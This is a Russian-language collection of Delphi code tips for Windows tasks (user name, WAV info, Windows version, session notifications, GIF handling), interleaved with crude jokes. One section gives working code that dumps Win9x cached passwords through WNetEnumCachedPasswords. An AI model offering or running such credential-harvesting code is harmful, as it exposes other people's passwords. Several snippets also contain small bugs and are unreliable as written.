Пухнет юзер с голоду, Губит жизнь он с молоду. Руки длинные у чата, Месяц - и кранты, ребята...
// Пример получения имени пользователя и домена под которым работает 
// текущий поток или процесс 
type
 PTOKEN_USER = ^TOKEN_USER;
 _TOKEN_USER = record
   User : TSidAndAttributes;
 end;
 TOKEN_USER = _TOKEN_USER;
function GetCurrentUserAndDomain (
      szUser : PChar; var chUser: DWORD; szDomain :PChar; var chDomain : DWORD
 ):Boolean;
var
 hToken : THandle;
 cbBuf  : Cardinal;
 ptiUser : PTOKEN_USER;
 snu    : SID_NAME_USE;
begin
 Result:=false;
 // Получаем маркер доступа текущего потока нашего процесса
 if not OpenThreadToken(GetCurrentThread(),TOKEN_QUERY,true,hToken)
  then begin
   if GetLastError()< > ERROR_NO_TOKEN then exit;
   // В случее ошибки - получаем маркер доступа нашего процесса.
   if not OpenProcessToken(GetCurrentProcess(),TOKEN_QUERY,hToken)
    then exit;
  end;
 // Вывываем GetTokenInformation для получения размера буфера 
 if not GetTokenInformation(hToken, TokenUser, nil, 0, cbBuf)
  then if GetLastError()< > ERROR_INSUFFICIENT_BUFFER
   then begin
    CloseHandle(hToken); 
    exit;
   end;
 if cbBuf = 0 then exit;
 // Выделяем память под буфер 
 GetMem(ptiUser,cbBuf);
 // В случае удачного вызова получим указатель на TOKEN_USER
 if GetTokenInformation(hToken,TokenUser,ptiUser,cbBuf,cbBuf)
  then begin
   // Ищем имя пользователя и его домен по его SID
   if LookupAccountSid(nil,ptiUser.User.Sid,szUser,chUser,szDomain,chDomain,snu)
    then Result:=true;
  end;
 // Освобождаем ресурсы 
 CloseHandle(hToken);
 FreeMem(ptiUser);
end;
// Использовать функцию можно так :
var
 Domain, User : array [0..50] of Char;
 chDomain,chUser : Cardinal;
begin
 chDomain:=50;
 chUser :=50;
 if GetCurrentUserAndDomain(User,chuser,Domain,chDomain)
  then ...
end; 
// Если вам необходимо получить только имя пользователя - используйте GetUserName
// Данный пример можно использовать и для определения - запущен ли процесс
// системой или пользователем.  Учетной записи Localsystem соответствует 
// имя пользователя - SYSTEM и домен NT AUTORITY (лучше проверить на практике)

Как узнать имя пользователя.

Статьи по Delphi (009)…
Приходит домой программист весь больной, сморкается. Жена у него спрашивает: - Что случилось? - Да вот с Вундоуз тр:хался - вирус подхватил.
function GetUserFromWindows: string;
var
  UserName : string;
  UserNameLen : Dword;
begin
  UserNameLen := 255;
  SetLength(userName, UserNameLen);
  if GetUserName(PChar(UserName), UserNameLen) then
    Result := Copy(UserName,1,UserNameLen - 1)
  else
    Result := 'Unknown';
end;

Как определить bitrate WAV файла.

Автор: http://www.swissdelphicenter.ch

{....}
private
  procedure OpenMedia(WaveFile: string);
  function GetStatus(StatusRequested: DWord): longint;
  procedure CloseMedia;
{....}
var
  MyError, dwFlags: Longint;
  FDeviceID: Word;
{....}
uses
  MMSystem;
{....}
procedure TForm1.OpenMedia(WaveFile: string);
var
  MyOpenParms: TMCI_Open_Parms;
begin
  with MyOpenParms do
  begin
    dwCallback := Handle; // TForm1.Handle
    lpstrDeviceType := PChar('WaveAudio');
    lpstrElementName := PChar(WaveFile);
  end; {with MyOpenParms}
  dwFlags := MCI_WAIT or MCI_OPEN_ELEMENT or MCI_OPEN_TYPE;
  MyError := mciSendCommand(0, MCI_OPEN, dwFlags, Longint(@MyOpenParms));
  // one could use mciSendCommand(DevId, here to specify a particular device
  if MyError = 0 then
    FDeviceID := MyOpenParms.wDeviceID
  else
    raise Exception.Create('Open Failed');
end;
function TForm1.GetStatus(StatusRequested: DWORD): Longint;
var
  MyStatusParms: TMCI_Status_Parms;
begin
  dwFlags := MCI_WAIT or MCI_STATUS_ITEM;
  with MyStatusParms do
  begin
    dwCallback := Handle;
    dwItem := StatusRequested;
  end;
  MyError := mciSendCommand(FDeviceID,
    MCI_STATUS,
    MCI_WAIT or MCI_STATUS_ITEM,
    Longint(@MyStatusParms));
  if MyError = 0 then
    Result := MyStatusParms.dwReturn
  else
    raise Exception.Create('Status call to get status of ' +
      IntToStr(StatusRequested) + ' Failed');
end;
procedure TForm1.CloseMedia;
var
  MyGenParms: TMCI_Generic_Parms;
begin
  if FDeviceID > 0 then
  begin
    dwFlags := 0;
    MyGenParms.dwCallback := Handle; // TForm1.Handle
    MyError := mciSendCommand(FDeviceID, MCI_CLOSE, dwFlags,
      Longint(@MyGenParms));
    if MyError = 0 then
      FDeviceID := 0
    else
    begin
      raise Exception.Create('Close Failed');
    end;
  end;
end;
//Example:
//Beispiel:
procedure TForm1.Button1Click(Sender: TObject);
begin
  if OpenDialog1.Execute then
  begin
    OpenMedia(OpenDialog1.FileName);
    with ListBox1.Items do
    begin
      Add('Average Bytes / Sec : ' +
        IntToStr(GetStatus(MCI_WAVE_STATUS_AVGBYTESPERSEC)));
      Add('Bits / Sample : ' +
        IntToStr(GetStatus(MCI_WAVE_STATUS_BITSPERSAMPLE)));
      Add('Samples / Sec : ' +
        IntToStr(GetStatus(MCI_WAVE_STATUS_SAMPLESPERSEC)));
      Add('Channels : ' + IntToStr(GetStatus(MCI_WAVE_STATUS_CHANNELS)));
    end;
    CloseMedia;
  end;
end;

Как определить продолжительность в секундах wav файла.

Автор: http://www.swissdelphicenter.ch

uses
  MPlayer, MMsystem;
type
  EMyMCIException = class(Exception);
  TWavHeader = record
    Marker1: array[0..3] of Char;
    BytesFollowing: Longint;
    Marker2: array[0..3] of Char;
    Marker3: array[0..3] of Char;
    Fixed1: Longint;
    FormatTag: Word;
    Channels: Word;
    SampleRate: Longint;
    BytesPerSecond: Longint;
    BytesPerSample: Word;
    BitsPerSample: Word;
    Marker4: array[0..3] of Char;
    DataBytes: Longint;
  end;
procedure TForm1.Button1Click(Sender: TObject);
var
  Header: TWavHeader;
begin
  with TFileStream.Create('C:\SomeFile.wav', fmOpenRead) do
  try
    ReadBuffer(Header, SizeOf(Header));
  finally
    Free;
  end;
  ShowMessage(FloatToStr((Int64(1000) * header.DataBytes div
    header.BytesPerSecond) / 1000));
end;

Получить номер недели по дате.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

var
   FirstWeekDay: Integer = 2;
   { Wochentag, mit dem die Woche beginnt 
   (siehe Delphi-Wochentage) 
   2 : Montag (nach DIN 1355) }
   FirstWeekDate: Integer = 4;
   { 1 : Beginnt am ersten Januar 
    4 : Erste-4 Tage-Woche (nach DIN 1355) 
    7 : Erste volle Woche }
   { liefert das Datum des ersten Tages der Woche }
   { get date of first day of week}
 function WeekToDate(AWeek, AYear: Integer): TDateTime;
 begin
   Result := EncodeDate(AYear, 1, FirstWeekDate);
   Result := Result + (AWeek - 1) * 7 - ((DayOfWeek(Result) + (7 - FirstWeekDay)) mod 7);
 end;
 { liefert die Wochennummer und das Jahr, zu dem die Woche gehort }
 { get weeknumber and year of the given week number}
 procedure DateToWeek(ADate: TDateTime; var AWeek, AYear: Word);
 var
   Month, Day: Word;
 begin
   ADate := ADate - ((DayOfWeek(ADate) - FirstWeekDay + 7) mod 7) + 7 - FirstWeekDate;
   DecodeDate(ADate, AYear, Month, Day);
   AWeek := (Trunc(ADate - EncodeDate(AYear, 1, 1)) div 7) + 1;
 end;
 {Week to date example}
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   ShowMessage(FormatDateTime('dd.mm.yyyy', WeekToDate(51, 2000)));
 end;
 {Date to week example}
 procedure TForm1.Button2Click(Sender: TObject);
 var
   week, year: Word;
 begin
   DateToWeek(now, week, year);
   ShowMessage(IntToStr(week));
   ShowMessage(IntToStr(year));
 end;

Как получить закэшированные пароли в Win9x.

program getpass;
type
  ...
  ListBox: TListBox;
  procedure getpasswords;
end;
const
  Count: Integer = 0;
function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte;
  PC: PChar; dw: DWord): Word; stdcall;
implementation
{$R *.DFM}
function WNetEnumCachedPasswords(lp: lpStr; w: Word; b: Byte; PC:
  PChar; dw: DWord): Word; external mpr name 'WNetEnumCachedPasswords';
type
  PWinPassword = ^TWinPassword;
  TWinPassword = record
    EntrySize: Word;
    ResourceSize: Word;
    PasswordSize: Word;
    EntryIndex: Byte;
    EntryType: Byte;
    PasswordC: Char;
  end;
var
  WinPassword: TWinPassword;
function AddPassword(WinPassword: PWinPassword;
  dw: DWord): LongBool; stdcall;
var
  Password: string;
  PC: array[0..$FF] of Char;
begin
  inc(Count);
  Move(WinPassword.PasswordC, PC, WinPassword.ResourceSize);
  PC[WinPassword.ResourceSize] := #0;
  CharToOem(PC, PC);
  Password := StrPas(PC);
  Move(WinPassword.PasswordC, PC,
    WinPassword.PasswordSize + WinPassword.ResourceSize);
  Move(PC[WinPassword.ResourceSize], PC, WinPassword.PasswordSize);
  PC[WinPassword.PasswordSize] := #0;
  CharToOem(PC, PC);
  Password := Password + ': ' + StrPas(PC);
  Form1.ListBox.Items.Add(Password);
  Result := True;
end;
procedure tform1.getpasswords;
var
  error: string;
begin
  if WNetEnumCachedPasswords(nil, 0, $FF, @AddPassword, 0) <> 0 then
  begin
    error := 'Can not load passwords: User is not loged on.';
  end
  else if Count = 0 then
    error := 'No passwords found...'
end;

Получить тип файла Windows.

И был свет... И была тьма... И загрузилась Windows!
uses ShellAPI; 
function MrsGetFileType(const strFilename: string): string; 
var 
  FileInfo: TSHFileInfo; 
begin 
  FillChar(FileInfo, SizeOf(FileInfo), #0); 
  SHGetFileInfo(PChar(strFilename), 0, FileInfo, SizeOf(FileInfo), SHGFI_TYPENAME); 
  Result := FileInfo.szTypeName; 
end; 
// Example: 
procedure TForm1.Button1Click(Sender: TObject); 
begin 
  ShowMessage('File type is: ' + MrsGetFileType('c:\autoexec.bat')); 
end;

Как узнать версию Windows.

Статьи по Delphi (009)…
Если чрезмерная увлеченность вашего ребенка компьютерными играми вызывает у вас беспокойство, постарайтесь приобщить его к более серьезным и здоровым занятиям: картам, вину, девочкам.

Использовать функцию API GetVersionEx.

function GetVersionEx(var lpVersionInformation: TOSVersionInfo): BOOL; stdcall;

Аргумент функции - структура TOSVersionInfo, содержит DwVersionInfoSize:DWORD - заполняется как sizeof(TOSVersionInfo) перед вызовом функции.

DwMajorVersion:DWORD - старшая цифра версии Windows.

Windows 95 - 4 Windows 98 - 4 Windows Me - 4 Windows NT 3.51 - 3 Windows NT 4.0 - 4 Windows 2000 - 5 Windows XP - 5

DwMinorVersion: DWORD - младшая цифра версии.

Windows 95 - 0 Windows 98 - 10 Windows Me - 90 Windows NT 3.51 - 51 Windows NT 4.0 - 0 Windows 2000 - 0 Windows XP - 1

DwBuildNumber: DWORD.

Win NT 4 - номер билда Win 9x - старший байт - старшая и младшая цифры версии / младший - номер билда

DwPlatformId: DWORD.

VER_PLATFORM_WIN32s Win32s on Windows 3.1. VER_PLATFORM_WIN32_WINDOWS Win32 on Windows 9x VER_PLATFORM_WIN32_NT Win32 on Windows NT, 2000

SzCSDVersion:DWORD.

NT - содержит РСhаг с инфо о установленном ServicePack 9x - доп. инфо, может и не быть

Как узнать версию Windows 2.

Этот пример должен работать на всех версиях Windows.

{$IFDEF WIN32}
function GetVersionEx(lpOs: pointer): BOOL; stdcall;
  external 'kernel32' name 'GetVersionExA';
{$ENDIF}
procedure GetWindowsVersion(var Major: integer;
  var Minor: integer);
var
{$IFDEF WIN32}
  lpOS, lpOS2: POsVersionInfo;
{$ELSE}
  l: longint;
{$ENDIF}
begin
{$IFDEF WIN32}
  GetMem(lpOS, SizeOf(TOsVersionInfo));
  lpOs^.dwOSVersionInfoSize := SizeOf(TOsVersionInfo);
  while getVersionEx(lpOS) = false do begin
    GetMem(lpos2, lpos^.dwOSVersionInfoSize + 1);
    lpOs2^.dwOSVersionInfoSize := lpOs^.dwOSVersionInfoSize + 1;
    FreeMem(lpOs, lpOs^.dwOSVersionInfoSize);
    lpOS := lpOs2;
  end;
  Major := lpOs^.dwMajorVersion;
  Minor := lpOs^.dwMinorVersion;
  FreeMem(lpOs, lpOs^.dwOSVersionInfoSize);
{$ELSE}
  l := GetVersion;
  Major := LoByte(LoWord(l));
  Minor := HiByte(LoWord(l));
{$ENDIF}
end;
procedure TForm1.Button1Click(Sender: TObject);
var
  Major: integer;
  Minor: integer;
begin
  GetWindowsVersion(Major, Minor);
  Memo1.Lines.Add(IntToStr(Major));
  Memo1.Lines.Add(IntToStr(Minor));
end;

Получить текст заголовка определенного окна.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

// This example will show you a faster method how you can obtain 
// the text of the specified window's title bar under Windows NT/2000 systems. 
// (c)1999 Ashot Oganesyan K, SmartLine, Inc 
// mailto:ashot@aha.ru, http://www.protect-me.com, http://www.codepile.com 
// The function copies the text of the specified window's title bar 
// (if it has one) into a buffer. The InternalGetWindowText function is 
// much faster than the documented GetWindowText because it uses INT 2E interrupt 
// NT-Specific! 
// Here is the prototype for InternalGetWindowText: 
 (*
   InternalGetWindowText(
   hWnd: HWND;  {a handle to a window or control with text}
   lpString: PChar;  {a pointer to a buffer to receive the string (UNICODE!!!)}
   nMaxCount: Integer  {the maximum number of characters to copy}
   ): Integer;  {returns the length of the copied string}
 *)
 function NT_InternalGetWindowText(Wnd: HWND): string;
 type
   TInternalGetWindowText = function(Wnd: HWND; lpString: PWideChar;
     nMaxCount: Integer): Integer;
    stdcall;
 var
   hUserDll: THandle;
   InternalGetWindowText: TInternalGetWindowText;
   lpString: array[0..MAX_PATH] of WideChar; //Buffer for window caption 
  oemStr: PChar;
 begin
   Result   := '';
   hUserDll := GetModuleHandle('user32.dll');
   if (hUserDll > 0) then
   begin @InternalGetWindowText := GetProcAddress(hUserDll, 'InternalGetWindowText');
     if Assigned(InternalGetWindowText) then
     begin
       InternalGetWindowText(Wnd, lpString, SizeOf(lpString));
       Result := string(lpString);
     end;
   end;
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 begin
   ShowMessage(NT_InternalGetWindowText(Form1.Handle));
 end;

Узнать путь к каталогам Windows.

Статьи по Delphi (009)…
Звонок в фирму: - Что вы предпринимаете для защиты от вирусов? - Выпускаем одноразовые компьютеры...
uses Registry;
procedure TForm1.Button1Click(Sender: TObject);
var
  reg : TRegistry;
  ts : TStrings;
  i : integer;
begin
  reg := TRegistry.Create;
  reg.RootKey := HKEY_CURRENT_USER;
  reg.LazyWrite := false;
  reg.OpenKey('Software\Microsoft\Windows\CurrentVersion\Explorer\ShellFolders', false);
  ts := TStringList.Create;
  reg.GetValueNames(ts);
  for i := 0 to ts.Count -1 do
    Memo1.Lines.Add(ts.Strings[i] + ' = ' + reg.ReadString(ts.Strings[i]));
  ts.Free;
  reg.CloseKey;
  reg.free;
end;

Выбрать слово из строки по номеру.

Приведу несколько простых функций, позволяющих работать с отдельными словами в строке. Возможно они пригодятся вам для разбивки текстовых полей на отдельные слова (for i := 1 to NumToken do ...) с последующим сохранением их в базе данных.

function GetToken(aString, SepChar: string; TokenNum: Byte): string;
{
параметры: aString : полная строка
SepChar : единственный символ, служащий
разделителем между словами (подстроками)
TokenNum: номер требуемого слова (подстроки))
result    : искомое слово или пустая строка, если количество слов
меньше значения 'TokenNum'
}
var
  Token: string;
  StrLen: Byte;
  TNum: Byte;
  TEnd: Byte;
begin
  StrLen := Length(aString);
  TNum := 1;
  TEnd := StrLen;
  while ((TNum <= TokenNum) and (TEnd <> 0)) do
  begin
    TEnd := Pos(SepChar, aString);
    if TEnd <> 0 then
    begin
      Token := Copy(aString, 1, TEnd - 1);
      Delete(aString, 1, TEnd);
      Inc(TNum);
    end
    else
    begin
      Token := aString;
    end;
  end;
  if TNum >= TokenNum then
  begin
    GetToken1 := Token;
  end
  else
  begin
    GetToken1 := '';
  end;
end;
function NumToken(aString, SepChar: string): Byte;
{
parameters: aString : полная строка
SepChar : единственный символ, служащий
разделителем между словами (подстроками)
result    : количество найденных слов (подстрок)
}
var
  RChar: Char;
  StrLen: Byte;
  TNum: Byte;
  TEnd: Byte;
begin
  if SepChar = '#' then
  begin
    RChar := '*'
  end
  else
  begin
    RChar := '#'
  end;
  StrLen := Length(aString);
  TNum := 0;
  TEnd := StrLen;
  while TEnd <> 0 do
  begin
    Inc(TNum);
    TEnd := Pos(SepChar, aString);
    if TEnd <> 0 then
    begin
      aString[TEnd] := RChar;
    end;
  end;
  Result := TNum;
end;

Или другое решение:

function CopyColumn(const s_string: string; c_fence: char; i_index: integer):
  string;
var
  i, i_left: integer;
begin
  result := EmptyStr;
  if i_index = 0 then
  begin
    exit;
  end;
  i_left := 0;
  for i := 1 to Length(s_string) do
  begin
    if s_string[i] = c_fence then
    begin
      Dec(i_index);
      if i_index = 0 then
      begin
        result := Copy(s_string, i_left + 1, i - i_left - 1);
        exit;
      end
      else
      begin
        i_left := i;
      end;
    end;
  end;
  Dec(i_index);
  if i_index = 0 then
  begin
    result := Copy(s_string, i_left + 1, Length(s_string));
  end;
end;

Я знаю что в GetToken параметр SepChar (в моем случае c_fence) строка, не символ, но комментарий гласит, что функция ожидает единственный символ в этой строке, и это очевидно, поскольку если вы пошлете более одного символа, функция попросту несработает. ( Delete(aString,1,TEnd) будет ошибкой, если Length( SepChar ) > 1 ).

Получить сообщение о переключении сессии в XP.

Наконец компания Microsoft честно вынесла качество работы Windows в название: Windows XP (Х#й Работает).
//  Typically, an application does not need to be notified when a session switch
//  occurs. However, if the application needs to be aware when its desktop is
//  current, it can register for session switch notifications. Applications that
//  access the serial port or another shared resource on the computer should
//  check for this. To register for a notification, use the following function:
 
  function WTSRegisterSessionNotification( 
      hWnd: HWND ,    // Window handle 
      dwFlags: DWORD  // Flags 
      ): Bool;        // Return value 
{ 
  The registered HWND receives the message WM_WTSSESSION_CHANGE 
  through its WindowProc function. 
  In dwFlags you can specify: 
    a) NOTIFY_FOR_THIS_SESSION. A window is notified only about the session 
      change events that affect the session to which window belongs. 
    b) NOTIFY_FOR_ALL_SESSIONS. A window is notified for all session change 
      events. 
  The action happening on the session can be found in wParam code, which may 
  contain one of the following flags. 
  WTS_CONSOLE_CONNECT:        A session was connected to the console session. 
  WTS_CONSOLE_DISCONNECT:     A session was disconnected from the console session. 
  WTS_REMOTE_CONNECT:         A session was connected to the remote session. 
  WTS_REMOTE_DISCONNECT:      A session was disconnected from the remote session. 
  WTS_SESSION_LOGON:          A user has logged on to the session. 
  WTS_SESSION_LOGOFF:         A user has logged off the session. 
  WTS_SESSION_LOCK:           A session has been locked. 
  WTS_SESSION_UNLOCK:         A session has been unlocked. 
  WTS_SESSION_REMOTE_CONTROL: A session has changed its remote controlled status.
  lParam contains the sessionId for the session affected. 
  When your process no longer requires these notifications or is terminating, 
  it should call the following to unregister its notification. 
} 
  function WTSUnRegisterSesssionNotification( 
    hWnd: HWND // window handle. 
    ): Boolean; // Result 
{ 
  The HWND values passed to WTSRegisterSessionNotification are reference 
  counted, so you must call WTSUnRegisterSessionNotification exactly the same 
  number of times that you call WTSRegisterSessionNotification. 
  Applications can use the WTS_CONSOLE_CONNECT, WTS_CONSOLE_DISCONNECT, 
  WTS_REMOTE_CONNECT, WTS_REMOTE_DISCONNECT messages to track their state, as 
  well as to release and acquire console specific resources. 
} 
unit Wtsapi; 
interface 
{ (c) By Thomas Stutz 10. April 02 } 
uses 
  Windows;
const 
  // The WM_WTSSESSION_CHANGE message notifies applications of changes in session state. 
  WM_WTSSESSION_CHANGE = $2B1; 
  // wParam values: 
  WTS_CONSOLE_CONNECT = 1; 
  WTS_CONSOLE_DISCONNECT = 2; 
  WTS_REMOTE_CONNECT = 3; 
  WTS_REMOTE_DISCONNECT = 4; 
  WTS_SESSION_LOGON = 5; 
  WTS_SESSION_LOGOFF = 6; 
  WTS_SESSION_LOCK = 7; 
  WTS_SESSION_UNLOCK = 8; 
  WTS_SESSION_REMOTE_CONTROL = 9; 
  // Only session notifications involving the session attached to by the window 
  // identified by the hWnd parameter value are to be received. 
  NOTIFY_FOR_THIS_SESSION = 0; 
  // All session notifications are to be received. 
  NOTIFY_FOR_ALL_SESSIONS = 1; 
function RegisterSessionNotification(Wnd: HWND; dwFlags: DWORD): Boolean; 
function UnRegisterSessionNotification(Wnd: HWND): Boolean; 
function GetCurrentSessionID: Integer; 
implementation 
function RegisterSessionNotification(Wnd: HWND; dwFlags: DWORD): Boolean; 
  // The RegisterSessionNotification function registers the specified window
  // to receive session change notifications. 
  // Parameters: 
  // hWnd: Handle of the window to receive session change notifications. 
  // dwFlags: Specifies which session notifications are to be received: 
  // (NOTIFY_FOR_THIS_SESSION, NOTIFY_FOR_ALL_SESSIONS) 
type 
  TWTSRegisterSessionNotification = function(Wnd: HWND; dwFlags: DWORD): BOOL; stdcall; 
var 
  hWTSapi32dll: THandle; 
  WTSRegisterSessionNotification: TWTSRegisterSessionNotification; 
begin 
  Result := False; 
  hWTSAPI32DLL := LoadLibrary('Wtsapi32.dll'); 
  if (hWTSAPI32DLL > 0) then 
  begin 
    try @WTSRegisterSessionNotification := 
        GetProcAddress(hWTSAPI32DLL, 'WTSRegisterSessionNotification'); 
      if Assigned(WTSRegisterSessionNotification) then 
      begin 
        Result:= WTSRegisterSessionNotification(Wnd, dwFlags); 
      end; 
    finally 
      if hWTSAPI32DLL > 0 then 
        FreeLibrary(hWTSAPI32DLL); 
    end; 
  end; 
end; 
function UnRegisterSessionNotification(Wnd: HWND): Boolean; 
  // The RegisterSessionNotification function unregisters the specified window 
  // Parameters:
  // hWnd: Handle to the window 
type 
  TWTSUnRegisterSessionNotification = function(Wnd: HWND): BOOL; stdcall; 
var 
  hWTSapi32dll: THandle; 
  WTSUnRegisterSessionNotification: TWTSUnRegisterSessionNotification; 
begin 
  Result := False; 
  hWTSAPI32DLL := LoadLibrary('Wtsapi32.dll'); 
  if (hWTSAPI32DLL > 0) then 
  begin 
    try @WTSUnRegisterSessionNotification := 
        GetProcAddress(hWTSAPI32DLL, 'WTSUnRegisterSessionNotification'); 
      if Assigned(WTSUnRegisterSessionNotification) then 
      begin 
        Result:= WTSUnRegisterSessionNotification(Wnd); 
      end; 
    finally 
      if hWTSAPI32DLL > 0 then 
        FreeLibrary(hWTSAPI32DLL); 
    end; 
  end; 
end; 
function GetCurrentSessionID: Integer; 
 // Getting the session id from the current process 
type 
  TProcessIdToSessionId = function(dwProcessId: DWORD; pSessionId: DWORD): BOOL; stdcall; 
var 
  ProcessIdToSessionId: TProcessIdToSessionId; 
  hWTSapi32dll: THandle;
  Lib : THandle; 
  pSessionId : DWord; 
begin 
  Result := 0; 
  Lib := GetModuleHandle('kernel32'); 
  if Lib <> 0 then 
  begin 
    ProcessIdToSessionId := GetProcAddress(Lib, '1ProcessIdToSessionId'); 
    if Assigned(ProcessIdToSessionId) then 
    begin 
      ProcessIdToSessionId(GetCurrentProcessId(), DWORD(@pSessionId)); 
      Result:= pSessionId; 
    end; 
  end; 
end; 
end. 
// Example: 
unit Unit1; 
interface 
uses 
  Windows, Messages, {...},  Wtsapi; 
type 
  TForm1 = class(TForm) 
    procedure FormCreate(Sender: TObject); 
    procedure FormDestroy(Sender: TObject);
  private 
  { Private declarations } 
    FRegisteredSessionNotification : Boolean; 
    procedure AppMessage(var Msg: TMSG; var HAndled: Boolean); 
  end; 
var 
  Form1: TForm1; 
implementation 
{$R *.DFM} 
procedure TForm1.AppMessage(var Msg: TMSG; var Handled: Boolean); 
var 
  strReason: string; 
begin 
  Handled := False; 
  // Check for WM_WTSSESSION_CHANGE message 
  if Msg.Message = WM_WTSSESSION_CHANGE then 
  begin 
     case Msg.wParam of 
       WTS_CONSOLE_CONNECT: 
           strReason := 'WTS_CONSOLE_CONNECT'; 
       WTS_CONSOLE_DISCONNECT: 
           strReason := 'WTS_CONSOLE_DISCONNECT'; 
       WTS_REMOTE_CONNECT: 
           strReason := 'WTS_REMOTE_CONNECT'; 
       WTS_REMOTE_DISCONNECT: 
           strReason := 'WTS_REMOTE_DISCONNECT'; 
       WTS_SESSION_LOGON:
           strReason := 'WTS_SESSION_LOGON'; 
       WTS_SESSION_LOGOFF: 
           strReason := 'WTS_SESSION_LOGOFF'; 
       WTS_SESSION_LOCK: 
           strReason := 'WTS_SESSION_LOCK'; 
       WTS_SESSION_UNLOCK: 
           strReason := 'WTS_SESSION_UNLOCK'; 
       WTS_SESSION_REMOTE_CONTROL: 
           begin 
             strReason := 'WTS_SESSION_REMOTE_CONTROL'; 
             // GetSystemMetrics(SM_REMOTECONTROL); 
           end; 
      else 
        strReason := 'WTS_Unknown'; 
     end; 
   // Write strReason to a Memo 
   Memo1.Lines.Add(strReason + ' ' + IntToStr(msg.Lparam)); 
  end; 
end; 
procedure TForm1.FormCreate(Sender: TObject); 
begin 
  // register the window to receive session change notifications. 
  FRegisteredSessionNotification := RegisterSessionNotification(Handle, NOTIFY_FOR_THIS_SESSION); 
  Application.OnMessage := AppMessage; 
end; 
procedure TForm1.FormDestroy(Sender: TObject); 
begin 
  // unregister session change notifications. 
 if FRegisteredSessionNotification then
   UnRegisterSessionNotification(Handle); 
end; 
procedure TForm1.Button1Click(Sender: TObject); 
begin 
 // retrieve current session ID 
 ShowMessage(Inttostr(GetCurrentSessionID)); 
end;

GIF для HTML в EXE.

Если места не хватает Для Descenta или Dooma Удаляй тогда смелее Все начальниковы gifы И тогда освоботится Мегабайт(ов) эдак 40... А когда начальник спросит Где же вся его порнуха Отвечай что выел вирус Сиськи у его картинок.
Есть программа на Delphi, которая отображает какой-то html. В html используется gif-файл. Как в Delphi-проекте указать, чтобы этот gif находился в exe как некий кусок кода. А когда надо будет, записать его обратно в gif-файл без изменений, выковырнув из exe? Можно, используя RxLib. После его установки в меню View появится пунктик Project Resources. Нужно выбрать Project Resources->New->User Data и добавить нужный файл. В данном случае ресурс был назван "RCDATA_1". Если RxLib нет, то нужно создать файл описания ресурсов:
=== Begin gifs.rc ===
mygif rcdata "имя_gif-файла.gif"
mygif1 rcdata "RCDATA_1"
=== End dots.rc ===
Потом скомпилировать его командой brcc32 gifs.rc и получить gifs.res В начало модуля добавь строчку {$R gifs.res}

В своей программе необходимо написать:

var
  rs: TResourceStream;
  a: Pointer;
begin
  rs := TResourceStream.Create(hinstance, 'RCDATA_1', RT_RCDATA);
  try
    GetMem(a, rs.size);
    rs.Read(a^, rs.size); {Теперь a - динамический указатель на код}
    { Здесь делается все, что необходимо с кодом, используя указатель a }
    FreeMem(a);
  finally
    rs.Free;
  end;
end;

А можно и так, если необходимо записать ресурс в файл:

var
  rs: TResourceStream;
  fs: TFileStream;
begin
  rs := TResourceStream.Create(hInstance, 'mygif', RT_RCDATA);
  fs := TFileStream.Create('имя_gif-файла.gif', fmCreate);
  try
    fs.CopyFrom(rs, rs.Size);
  finally
    fs.Free;
    rs.Free;
  end;
end;

Получить размер GIF-картинки.

Оформил: DeeCo Автор: http://www.swissdelphicenter.ch

type
   TImageSize = record
     Width: Integer;
     Height: Integer;
   end;
 function ReadGIFSize(Stream: TStream): TImageSize;
 type
   TGifHeader = record
     Signature: array [0..5] of Char;
     Width, Height: Word;
   end;
 var
   Header: TGifHeader;
 begin
   FillChar(Header, SizeOf(TGifHeader), #0);
   Result.Width := -1;
   Result.Height := -1;
   with Stream do
   begin
     Seek(0, soFromBeginning);
     ReadBuffer(Header, SizeOf(TGifHeader));
   end;
   if (AnsiUpperCase(Header.Signature) = 'GIF89A') or
     (AnsiUpperCase(Header.Signature) = 'GIF87A') then
   begin
     Result.Width  := Header.Width;
     Result.Height := Header.Height;
   end;
 end;
 procedure TForm1.Button1Click(Sender: TObject);
 const
   FileName = 'D:\test.gif';
 var
   fs: TFileStream;
   gifsize: TImageSize;
 begin
   fs := TFileStream.Create(FileName, fmOpenRead or fmShareDenyWrite);
   try
     gifsize := ReadGIFSize(fs);
     ShowMessage(Format('Breite %d Нцhе %d', [gifsize.Width, gifsize.Height]));
   finally
     fs.Free;
   end;
 end;

Как работать с GIF файлами.

Этот код, делает следующее, загружаем в листбох список Gif файлов, затем это все дело обьединяетсяв один BMP файл,картинка к картинке, кто знает DirectX поймет для чего это надо (спрайты).

procedure TForm1.Button2Click(Sender: TObject);
begin
  if opendialog1.Execute then
  begin
    ListBox1.Items := opendialog1.Files;
    Edit2.Text := inttostr(ListBox1.Items.Count);
  end;
end;
procedure TForm1.Button1Click(Sender: TObject);
var
  i, a: integer;
  bm: TBItmap;
begin
  a := 0;
  bm := TBItmap.Create;
  image1.Picture.LoadFromFile(listbox1.Items[0]);
  bm.Height := image1.Height;
  bm.Width := listbox1.Items.Count * image1.Picture.width;
  for i := 0 to listbox1.Items.Count - 1 do
  begin
    image1.Picture.LoadFromFile(listbox1.Items[i]);
    bm.Canvas.Draw(a, 0, image1.Picture.Graphic);
    a := a + image1.Picture.Height;
  end;
  //form1.Canvas.Draw(0,0,bm);
  bm.SaveToFile(Edit1.Text + '.bmp');
  bm.free;
end;

Как работать с GIF файлами 2.

Автор: МММ WEB-сайт: http://forum.vingrad.ru

Из файловов GIF (анимированных) вытаскивает каждую картинку в отдельности, или записывает в отдельный BMP по очереди Для этих программок нужен всеми любимый RX Lib !!!

procedure TForm1.Button4Click(Sender: TObject);
var
  i, a: integer;
  bm: TBItmap;
begin
  a := 0;
  bm := TBItmap.Create;
  bm.Height := RxGIFAnimator1.Height;
  bm.Width := RxGIFAnimator1.Image.Count * RxGIFAnimator1.width;
  for i := 0 to RxGIFAnimator1.Image.Count - 1 do
  begin
    RxGIFAnimator1.FrameIndex := i;
    bm.Canvas.Draw(a, 0, RxGIFAnimator1.Image.Frames[i].Bitmap);
    a := a + RxGIFAnimator1.Height;
  end;
  //form1.Canvas.Draw(0,0,bm);
  bm.SaveToFile(Edit1.Text + '.bmp');
  bm.free;
end;

Кривая Гильберта.

Статьи по Delphi (009)…
unit gilbert_;
interface
uses
  Windows, Messages, SysUtils,
  Variants, Classes, Graphics,
  Controls, Forms, Dialogs, StdCtrls, ComCtrls;
type
